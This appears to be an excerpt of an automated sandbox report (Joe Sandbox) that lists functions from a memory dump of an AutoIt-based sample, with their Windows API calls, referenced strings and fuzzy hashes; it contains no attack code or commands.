Opcode ID: 5b3fba60a7f946f2ad9f48be4e448a0fffc0868da595405f55b3c9467a69a794
Instruction ID: ffbe8daf3e33f0acfe9647ff66394b25d35e0fcdb4bd61fee24bd262ba1931e1
Opcode Fuzzy Hash: 5b3fba60a7f946f2ad9f48be4e448a0fffc0868da595405f55b3c9467a69a794
Instruction Fuzzy Hash: 0D018631404209EFEB619FE5DE08BFE7BB9FB04322F204160F916A21A1CB311E52EB10

Function 00AC1874 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00AC187F
UnloadUserProfile.USERENV(?,?), ref: 00AC188B
CloseHandle.KERNEL32(?), ref: 00AC1894
CloseHandle.KERNEL32(?), ref: 00AC189C
GetProcessHeap.KERNEL32(00000000,?), ref: 00AC18A5
HeapFree.KERNEL32(00000000), ref: 00AC18AC

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: f3a3bb0e3713e32c57209b2e514306b62885a1cb17f402bc7504eaf8502a3a09
Instruction ID: 595139bbd60864d5dce90c531f7cbffb2c09d2bd3099dce4b6ad2ea61f8d1dd3
Opcode Fuzzy Hash: f3a3bb0e3713e32c57209b2e514306b62885a1cb17f402bc7504eaf8502a3a09
Instruction Fuzzy Hash: 2EE0C236004109BBDA01ABE2EE0CD1ABF29FF49B72B108220F22585070CB329432EB54

Function 00ACC5D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A67620: _wcslen.LIBCMT ref: 00A67625

GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00ACC6EE
_wcslen.LIBCMT ref: 00ACC735
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00ACC79C
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00ACC7CA

Strings

0, xrefs: 00ACC6AF

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ItemMenu$Info_wcslen$Default
String ID: 0
API String ID: 1227352736-4108050209
Opcode ID: 0e208b50aa3e97e922f6ebdeac22b59331ce57b842ac6dcb3f10e094e02b64d9
Instruction ID: 83e4f3264f72b1456b2e5240146f1d12e5154f1a88be64515b31b731613ea452
Opcode Fuzzy Hash: 0e208b50aa3e97e922f6ebdeac22b59331ce57b842ac6dcb3f10e094e02b64d9
Instruction Fuzzy Hash: 6351CB726183009BD714DF28CA85F6BB7E8EF89324F054A2DF999E71A1DB70D904CB52

Function 00AEAD64 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(0000003C), ref: 00AEAEA3

Part of subcall function 00A67620: _wcslen.LIBCMT ref: 00A67625

GetProcessId.KERNEL32(00000000), ref: 00AEAF38
CloseHandle.KERNEL32(00000000), ref: 00AEAF67

Strings

<, xrefs: 00AEAE6B
@, xrefs: 00AEAE72

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: CloseExecuteHandleProcessShell_wcslen
String ID: <$@
API String ID: 146682121-1426351568
Opcode ID: 3022fd66d7be243ed431a20b3c18df968939623583b6b1a0dfeb085be0413f44
Instruction ID: 1f6b03ece572357c3d62ae7355d1a83c22bac7211e339b541f71bcea846a7557
Opcode Fuzzy Hash: 3022fd66d7be243ed431a20b3c18df968939623583b6b1a0dfeb085be0413f44
Instruction Fuzzy Hash: CD71AC71A00258DFCB14DF95C584A9EBBF0FF08314F048499E81AAB3A2CB74ED45CB91

Function 00AC719E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00AC7206
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 00AC723C
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 00AC724D
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00AC72CF

Strings

DllGetClassObject, xrefs: 00AC7242

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 1494fa6c9391037600e601ace3ded41efb26dc2168a1812bc123e9fb0dda2f7d
Instruction ID: 92f2f21db3a85347cab989d3a349ebd77d14c57951dcb884d1cbd029afe971b2
Opcode Fuzzy Hash: 1494fa6c9391037600e601ace3ded41efb26dc2168a1812bc123e9fb0dda2f7d
Instruction Fuzzy Hash: 7C412971A04204AFDB15CF94C984FAE7BA9EF44710F2680ADBD099F20AD7B1D945CFA0

Function 00AF3D7C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00AF3E35
IsMenu.USER32(?), ref: 00AF3E4A
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00AF3E92
DrawMenuBar.USER32 ref: 00AF3EA5

Strings

0, xrefs: 00AF3D89

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert
String ID: 0
API String ID: 3076010158-4108050209
Opcode ID: 6cf57ff732b5b08826286c534411485004be363c942bb275cb12987ee438d30e
Instruction ID: 9446b94311da53f4635c4337e480af2633120d03824a8f4491abbd61278c8bbb
Opcode Fuzzy Hash: 6cf57ff732b5b08826286c534411485004be363c942bb275cb12987ee438d30e
Instruction Fuzzy Hash: 7C411576A0120DAFDF10DF95D884AEABBF9FF49364F044129FA15AB250D730AE45CB50

Function 00AC1DE2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A69CB3: _wcslen.LIBCMT ref: 00A69CBD

Part of subcall function 00AC3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00AC3CCA

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00AC1E66
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00AC1E79
SendMessageW.USER32(?,00000189,?,00000000), ref: 00AC1EA9

Part of subcall function 00A66B57: _wcslen.LIBCMT ref: 00A66B6A

Strings

ListBox, xrefs: 00AC1E25
ComboBox, xrefs: 00AC1DF0

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: MessageSend$_wcslen$ClassName
String ID: ComboBox$ListBox
API String ID: 2081771294-1403004172
Opcode ID: e4dd7bfa5f14e09ac9c08afe0df6b4e9c055e775401c7651064edd420316f0fd
Instruction ID: ee6cb842196c5685d36d037e5a0ec14c9aa2b2ca786511ac898907bf0f2781c9
Opcode Fuzzy Hash: e4dd7bfa5f14e09ac9c08afe0df6b4e9c055e775401c7651064edd420316f0fd
Instruction Fuzzy Hash: CA212771A00108BFDB14ABA5DE45EFFB7B8EF46360B10851DF825E71E2DB38490AD620

Function 00AF2F17 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78windowlibraryCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00AF2F8D
LoadLibraryW.KERNEL32(?), ref: 00AF2F94
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00AF2FA9
DestroyWindow.USER32(?), ref: 00AF2FB1

Strings

SysAnimate32, xrefs: 00AF2F68

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: MessageSend$DestroyLibraryLoadWindow
String ID: SysAnimate32
API String ID: 3529120543-1011021900
Opcode ID: e74246813e4155f6fe5df550138e9a1e1653aee861c589db5b5f7c64bd2a12cd
Instruction ID: 24656e3f1ad14ae42591184aad6e6a4ab058141b641c65ff20eaf057f1c9b407
Opcode Fuzzy Hash: e74246813e4155f6fe5df550138e9a1e1653aee861c589db5b5f7c64bd2a12cd
Instruction Fuzzy Hash: CA219D7122420DABEB219FE4DC80FBB77BDEB59364F104628FA50D61A0D771DC619760

Function 00A84D6D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00A84D1E,00A928E9,?,00A84CBE,00A928E9,00B288B8,0000000C,00A84E15,00A928E9,00000002), ref: 00A84D8D
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00A84DA0
FreeLibrary.KERNEL32(00000000,?,?,?,00A84D1E,00A928E9,?,00A84CBE,00A928E9,00B288B8,0000000C,00A84E15,00A928E9,00000002,00000000), ref: 00A84DC3

Strings

mscoree.dll, xrefs: 00A84D86
CorExitProcess, xrefs: 00A84D98

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 967adc2f741801cd95da72ec07fe0970480f072c93b1e6c56d56e2412483dfb4
Instruction ID: 5961c24dd4b8eaf930ed199524ed01b22485d71ea064b77035c412dcc915c4bb
Opcode Fuzzy Hash: 967adc2f741801cd95da72ec07fe0970480f072c93b1e6c56d56e2412483dfb4
Instruction Fuzzy Hash: 94F04F34A4020DBBDB11AFD1DD49BAEBFF5EF48761F0001A4F805A26A0CB745D55CB95

Function 00A64E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00A64EDD,?,00B31418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00A64E9C
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00A64EAE
FreeLibrary.KERNEL32(00000000,?,?,00A64EDD,?,00B31418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00A64EC0

Strings

kernel32.dll, xrefs: 00A64E94
Wow64DisableWow64FsRedirection, xrefs: 00A64EA8

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 145871493-3689287502
Opcode ID: 17fd1b17e7aae4cd5ed7aa128b3a07aa8642c794ef26b72b90c481417c4c6b9e
Instruction ID: 41ce3b2583e22eacbea81ae779015487ed46138f9babeed7aaa6e4a586c1af7f
Opcode Fuzzy Hash: 17fd1b17e7aae4cd5ed7aa128b3a07aa8642c794ef26b72b90c481417c4c6b9e
Instruction Fuzzy Hash: 28E0CD35E055365BD23157A67D18BBF65B4BF85F727050215FD04D2114DB68CD02C0A4

Function 00A64E59 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00AA3CDE,?,00B31418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00A64E62
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00A64E74
FreeLibrary.KERNEL32(00000000,?,?,00AA3CDE,?,00B31418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00A64E87

Strings

kernel32.dll, xrefs: 00A64E5B
Wow64RevertWow64FsRedirection, xrefs: 00A64E6E

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 145871493-1355242751
Opcode ID: 05c23ff113ed9d0ed6dea11b191bf8f28c5b53ab70df4dd581fd31274a5e5321
Instruction ID: 9432a9389c164b5be8b00d99c6eb1301546d8de55fe70c2c201f70a01fa87571
Opcode Fuzzy Hash: 05c23ff113ed9d0ed6dea11b191bf8f28c5b53ab70df4dd581fd31274a5e5321
Instruction Fuzzy Hash: 15D02B395026366BC6321BA67C1CDEF6A38BF89F313050711F904E2110CF25CD12C1D4

Function 00AD2947 Relevance: 7.8, APIs: 5, Instructions: 313fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00AD2C05
DeleteFileW.KERNEL32(?), ref: 00AD2C87
CopyFileW.KERNEL32(?,?,00000000,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00AD2C9D
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00AD2CAE
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00AD2CC0

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: File$Delete$Copy
String ID:
API String ID: 3226157194-0
Opcode ID: b8a03a7e0b294a084c88dec2d7d2d05e04ed7242a122bc5878a0af1fb115087a
Instruction ID: 78b6e65603bd6b37875f9a95d2b3f4cbea6d72aaf3a976bd25d9f2828e53346c
Opcode Fuzzy Hash: b8a03a7e0b294a084c88dec2d7d2d05e04ed7242a122bc5878a0af1fb115087a
Instruction Fuzzy Hash: 3FB13D72D00119ABDF21EBA4CD85EEEB7BDEF59350F1040A6F50AE7251EA309A44CB61

Function 00AEA387 Relevance: 7.8, APIs: 5, Instructions: 256COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00AEA427
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00AEA435
GetProcessIoCounters.KERNEL32(00000000,?), ref: 00AEA468
CloseHandle.KERNEL32(?), ref: 00AEA63D

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: ad4273b7eb60f5a47dda4459a89ecee69ed40d4aa3f9de31bbe3933ff5b06574
Instruction ID: 9fe0de3c928b5a39f7fd8dede2c4bcae09269e7841c017482f43751a96f62589
Opcode Fuzzy Hash: ad4273b7eb60f5a47dda4459a89ecee69ed40d4aa3f9de31bbe3933ff5b06574
Instruction Fuzzy Hash: 10A1BE71604300AFD720DF29C986F2AB7E1AF94714F14885DF59A9B292D7B0EC41CB92

Function 00A9BB27 Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00B03700), ref: 00A9BB91
WideCharToMultiByte.KERNEL32(00000000,00000000,00B3121C,000000FF,00000000,0000003F,00000000,?,?), ref: 00A9BC09
WideCharToMultiByte.KERNEL32(00000000,00000000,00B31270,000000FF,?,0000003F,00000000,?), ref: 00A9BC36
_free.LIBCMT ref: 00A9BB7F

Part of subcall function 00A929C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00A9D7D1,00000000,00000000,00000000,00000000,?,00A9D7F8,00000000,00000007,00000000,?,00A9DBF5,00000000), ref: 00A929DE
Part of subcall function 00A929C8: GetLastError.KERNEL32(00000000,?,00A9D7D1,00000000,00000000,00000000,00000000,?,00A9D7F8,00000000,00000007,00000000,?,00A9DBF5,00000000,00000000), ref: 00A929F0

_free.LIBCMT ref: 00A9BD4B

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 1286116820-0
Opcode ID: fb88a3f545fec061d8f8ae9072bcf4a9e31f70cb2541e3c90e7cbce89ef07e9f
Instruction ID: e4a3014fd828ea43e9b63ff3a3d5372a0e6d2f57db54fab67e87be5a92bca391
Opcode Fuzzy Hash: fb88a3f545fec061d8f8ae9072bcf4a9e31f70cb2541e3c90e7cbce89ef07e9f
Instruction Fuzzy Hash: C751C971A10209EFCF10EF69AE819AFB7FCEF44760B10466AE554D71A1EB709D418BA0

Function 00ACE3FB Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00ACDDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00ACCF22,?), ref: 00ACDDFD

Part of subcall function 00ACDDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00ACCF22,?), ref: 00ACDE16

Part of subcall function 00ACE199: GetFileAttributesW.KERNEL32(?,00ACCF95), ref: 00ACE19A

lstrcmpiW.KERNEL32(?,?), ref: 00ACE473
MoveFileW.KERNEL32(?,?), ref: 00ACE4AC
_wcslen.LIBCMT ref: 00ACE5EB
_wcslen.LIBCMT ref: 00ACE603
SHFileOperationW.SHELL32(?,?,?,?,?,?), ref: 00ACE650

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 3183298772-0
Opcode ID: f6265a76ba99c2ec06db65c2ad0d9a18aed146edc733b56ffc4d65ad2bebd195
Instruction ID: e8b1f223193cfc1eec0e012a3392a38434a222dcdcb215c813fb9ab5992048a1
Opcode Fuzzy Hash: f6265a76ba99c2ec06db65c2ad0d9a18aed146edc733b56ffc4d65ad2bebd195
Instruction Fuzzy Hash: 0E5163B24087455BC724EBA0DD81EDFB3ECAF94350F00492EF589D3191EF75A6888766

Function 00AEB9C9 Relevance: 7.7, APIs: 5, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A69CB3: _wcslen.LIBCMT ref: 00A69CBD

Part of subcall function 00AEC998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00AEB6AE,?,?), ref: 00AEC9B5
Part of subcall function 00AEC998: _wcslen.LIBCMT ref: 00AEC9F1
Part of subcall function 00AEC998: _wcslen.LIBCMT ref: 00AECA68
Part of subcall function 00AEC998: _wcslen.LIBCMT ref: 00AECA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00AEBAA5
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00AEBB00
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00AEBB63
RegCloseKey.ADVAPI32(?,?), ref: 00AEBBA6
RegCloseKey.ADVAPI32(00000000), ref: 00AEBBB3

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 826366716-0
Opcode ID: c0cbb3903a9325b6ef303c18e7ca516205d5425216da4673e6e76b503e2c4fcd
Instruction ID: 6032df854121847e889a5d6cfe9561d660a6fe594a673f5ee0006bb15b631b1c
Opcode Fuzzy Hash: c0cbb3903a9325b6ef303c18e7ca516205d5425216da4673e6e76b503e2c4fcd
Instruction Fuzzy Hash: 0A619B31218241AFD714DF55C594E2BBBE5FF84348F14856CF0998B2A2CB31ED46CBA2

Function 00AC8BB0 Relevance: 7.7, APIs: 5, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00AC8BCD
VariantClear.OLEAUT32 ref: 00AC8C3E
VariantClear.OLEAUT32 ref: 00AC8C9D
VariantClear.OLEAUT32(?), ref: 00AC8D10
